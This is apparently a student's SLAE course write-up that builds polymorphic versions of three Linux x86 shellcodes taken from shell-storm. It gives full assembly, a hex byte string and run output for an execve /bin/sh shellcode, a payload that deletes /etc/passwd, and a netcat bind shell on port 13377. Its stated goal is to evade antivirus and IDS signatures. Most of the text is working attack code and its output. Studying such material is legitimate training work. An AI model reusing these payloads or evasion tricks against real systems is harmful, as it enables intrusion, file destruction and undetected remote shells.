SLAE Assignment 6 - Polymorphic shellcodes
29 Apr 2017
Student SLAE - 891
Github: https://github.com/phackt/slae
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Assignment 6:
Our Goal:
Take up 3 shellcodes from Shell-Storm and create polymorphic versions
- The polymorphic versions can not be larger than 150% of the original versions
- Bonus points if shorter in length than original
Hello everybody,
So today we will create some polymorphic versions of existing shellcodes on the well-known site shell-storm.
Polymorphic versions aims at defeating pattern matching by AV and IDS:
- Replacing instructions with equivalent ones.
- Add garbage instructions that will not change the shellcode functionality but create a mess for the AV analysis.
VirusTotal gathers AV engines but i do not recommend to test your shellcode on it because it will be fingerprinted and may be added to their database, so your next NSA hack may fail, such a pity.
jmp/call/pop execve shell:
Ok so for our first shellcode execve.nasm let’s have a look at a jmp/call/pop execve shellcode (52 bytes long):
global _start
section .text
_start:
jmp short here
me:
pop esi
mov edi,esi
xor eax,eax
push eax
mov edx,esp
push eax
add esp,3
lea esi,[esi +4]
xor eax,[esi]
push eax
xor eax,eax
xor eax,[edi]
push eax
mov ebx,esp
xor eax,eax
push eax
lea edi,[ebx]
push edi
mov ecx,esp
mov al,0xb
int 0x80
here:
call me
path db "//bin/sh"
Let’s execute the shellcode:
# ./compile.sh execve && chmod u+x ./execve && ./execve
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
# id
uid=0(root) gid=0(root) groups=0(root)
#
The advantage of this shellcode is that the opcodes have been already thought to obfuscate a bit the shellcode behavior. If we add a second layer we can be barely sure that the shellcode will bypass the majority of the AVs. A good idea here is to obfuscate the //bin/sh variable and to add some garbage opcodes and/or to mix them.
So let’s have a look at our polymorphic shellcode execve_polymorphic.nasm:
global _start
section .text
_start:
jmp short here
me:
mov dword esi, [esp] ; equivalent to mov the @ of our encoded //bin/sh into esi
pop edi ; same @ in edi
push 0x1 ; mix a little bit the opcodes
pop eax
dec eax
push eax
mov edx,esp
xor ecx, ecx
mov cl, 0x7 ; //bin/sh is 7 bytes long
dec1:
mov eax, [edi + ecx] ; we are looping on our string
dec eax ; decrement the value
mov [edi + ecx], eax ; setting the right char into memory
dec cl
jns dec1 ; jump if not signed
xor eax, eax ; here we go for setting the right argument for our execve syscall
push eax
add esp,3
lea esi,[esi+6]
xor eax,[esi-2]
push eax
xor eax,eax
xor eax,[edi]
push eax
mov ebx,esp
xor eax,eax
push eax
lea edi,[ebx]
push edi
mov ecx,esp
mov al,0xb ; int execve(const char *filename, char *const argv[],char *const envp[]);
int 0x80
here:
call me
path db 0x30,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69 ; encoded //bin/sh string, we added 1 to each byte
Let’s compile our polymorphic shellcode:
# ./compile.sh execve_polymorphic
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
# objdump -d ./execve_polymorphic|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x3a\x8b\x34\x24\x5f\x6a\x01\x58\x48\x50\x89\xe2\x31\xc9\xb1\x07\x8b\x04\x0f\x48\x89\x04\x0f\xfe\xc9\x79\xf5\x31\xc0\x50\x83\xc4\x03\x8d\x76\x06\x33\x46\xfe\x50\x31\xc0\x33\x07\x50\x89\xe3\x31\xc0\x50\x8d\x3b\x57\x89\xe1\xb0\x0b\xcd\x80\xe8\xc1\xff\xff\xff\x30\x30\x63\x6a\x6f\x30\x74\x69"
Let’s run it into shellcode.c:
# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c && ./shellcode
Shellcode Length: 73
# id
uid=0(root) gid=0(root) groups=0(root)
Our polymorphic shellcode is 73 bytes so we are under the 52 * 1.5 = 78 bytes, perfect.
unlink /etc/passwd shellcode:
For this second shellcode let’s have a look at a shellcode that aims at unlinking the critical /etc/passwd file. A quick man 2 unlink
provides this information: unlink() deletes a name from the filesystem.. Great, but please don’t forget to backup your /etc/passwd file.
Let’s compile and debug thanks to gdb:
# gcc -fno-stack-protector -z execstack -o unlink unlink.c && chmod u+x ./unlink && ./unlink
Shellcode Length: 35
# ls -lrt /etc/passwd*
-rw------- 1 0 root 3025 mars 1 21:47 /etc/passwd-
-rw-r--r-- 1 0 root 3073 avril 22 13:48 /etc/passwd.backup
Ok so we have our passwd backups but the /etc/passwd file has been deleted. Let’s have a look to the shellcode (35 bytes long):
# gdb -q unlink
Reading symbols from unlink...(no debugging symbols found)...done.
gdb-peda$ print &shell
$1 = (<data variable, no debug info> *) 0x804a040 <shell>
gdb-peda$ br *&shell
Breakpoint 1 at 0x804a040
gdb-peda$ r
Starting program: /root/Documents/pentest/certs/slae/exam/assignment6.2/unlink
Shellcode Length: 35
[----------------------------------registers-----------------------------------]
EAX: 0x804a040 --> 0x315e11eb
EBX: 0x0
ECX: 0x7fffffeb
EDX: 0xb7faf870 --> 0x0
ESI: 0x1
EDI: 0xb7fae000 --> 0x1b2db0
EBP: 0xbffff238 --> 0x0
ESP: 0xbffff21c --> 0x8048479 (<main+62>: mov eax,0x0)
EIP: 0x804a040 --> 0x315e11eb
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804a03a: add BYTE PTR [eax],al
0x804a03c: add BYTE PTR [eax],al
0x804a03e: add BYTE PTR [eax],al
=> 0x804a040 <shell>: jmp 0x804a053 <shell+19>
| 0x804a042 <shell+2>: pop esi
| 0x804a043 <shell+3>: xor eax,eax
| 0x804a045 <shell+5>: xor ecx,ecx
| 0x804a047 <shell+7>: xor edx,edx
|-> 0x804a053 <shell+19>: call 0x804a042 <shell+2>
0x804a058 <shell+24>: das
0x804a059 <shell+25>: gs je 0x804a0bf
0x804a05c <shell+28>: das
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbffff21c --> 0x8048479 (<main+62>: mov eax,0x0)
0004| 0xbffff220 --> 0x1
0008| 0xbffff224 --> 0xbffff2e4 --> 0xbffff480 ("/root/Documents/pentest/certs/slae/exam/assignment6.2/unlink")
0012| 0xbffff228 --> 0xbffff2ec --> 0xbffff4bd ("XDG_VTNR=2")
0016| 0xbffff22c --> 0x804a040 --> 0x315e11eb
0020| 0xbffff230 --> 0xb7fae3dc --> 0xb7faf1e0 --> 0x0
0024| 0xbffff234 --> 0xbffff250 --> 0x1
0028| 0xbffff238 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804a040 in shell ()
gdb-peda$ x/17i $eip
=> 0x804a040 <shell>: jmp 0x804a053 <shell+19>
0x804a042 <shell+2>: pop esi
0x804a043 <shell+3>: xor eax,eax
0x804a045 <shell+5>: xor ecx,ecx
0x804a047 <shell+7>: xor edx,edx
0x804a049 <shell+9>: mov al,0xa
0x804a04b <shell+11>: mov ebx,esi
0x804a04d <shell+13>: int 0x80
0x804a04f <shell+15>: mov al,0x1
0x804a051 <shell+17>: int 0x80
0x804a053 <shell+19>: call 0x804a042 <shell+2>
0x804a058 <shell+24>: das
0x804a059 <shell+25>: gs je 0x804a0bf
0x804a05c <shell+28>: das
0x804a05d <shell+29>: jo 0x804a0c0
0x804a05f <shell+31>: jae 0x804a0d4
0x804a061 <shell+33>: ja 0x804a0c7
gdb-peda$
So we can see a jmp/call/pop technique setting the string for the syscall 0xa (int unlink(const char *pathname);). Then a syscall to the exit function. Debugging just after the pop esi:
gdb-peda$ x/s $esi
0x804a058 <shell+24>: "/etc/passwd"
Let’s create our polymorphic shellcode:
global _start
section .text
_start:
jmp short here
me:
pop ebx ; Directly pop the @ of /etc/passwd into ebx
xor ecx,ecx
mul ecx ; This instruction will cause both EAX and EDX to become zero
mov cl,0x1
mov al,0xb
sub al,cl ; Equivalent to mov al,0xa
int 0x80 ; int unlink(const char *pathname);
mov al,cl ; Equivalent to mov al,0x1
int 0x80 ; void _exit(int status);
call me
here:
call me
path db "/etc/passwd"
Let’s run it:
# touch /etc/passwd
# ./compile.sh unlink_polymorphic && ./unlink_polymorphic
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
# ls /etc/passwd
ls: impossible d'accéder à '/etc/passwd': Aucun fichier ou dossier de ce type
Here we go, our new polymorphic shellcode did the job and is 40 bytes long.
netcat bin shellcode:
Here we go for our last shell-storm shellcode. We will use this shellcode which is calling netcat to bind a shell on port 13377.
Let’s assembly, link and execute netcat_bind.nasm (64 bytes long):
# ./compile.sh netcat_bind
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
# ./netcat_bind
listening on [any] 13377 ...
Then from another shell:
# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)
Perfect, everything is working fine, so let’s mix up this opcodes in our netcat_bind_polymorphic.nasm:
section .text
global _start
_start:
xor ecx,ecx
mul ecx ; mul technique to clear out EAX and EDX
jmp short arg1 ; jmp/call/pop technique
poptag1:
pop edx ; replace the push opcode
push eax
push 0x68732f6e
push 0x69622f65
push 0x76766c2d
mov ecx,esp
push eax
push 0x636e2f2f
push 0x2f2f2f2f
push 0x6e69622f
mov ebx, esp
push eax
push edx
push ecx
push ebx
mov edx,eax ; replace the xor opcode
mov ecx,esp
mov al,11 ; execve syscall
int 0x80
arg1:
call poptag1
string1 db "-vp13377"
Let’s assembly, link, and execute:
# ./compile.sh netcat_bind_polymorphic && ./netcat_bind_polymorphic
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
listening on [any] 13377 ...
From another shell:
# nc 127.0.0.1 13377
id
uid=0(root) gid=0(root) groups=0(root)
Perfect it works and our new shellcode is 68 bytes long.
We saw in this article that we can create some polymorphic versions of well known shellcodes in order to bypass the known signatures of these shellcodes.
Hope you enjoyed this post, see you soon for our last assignment.
Bye,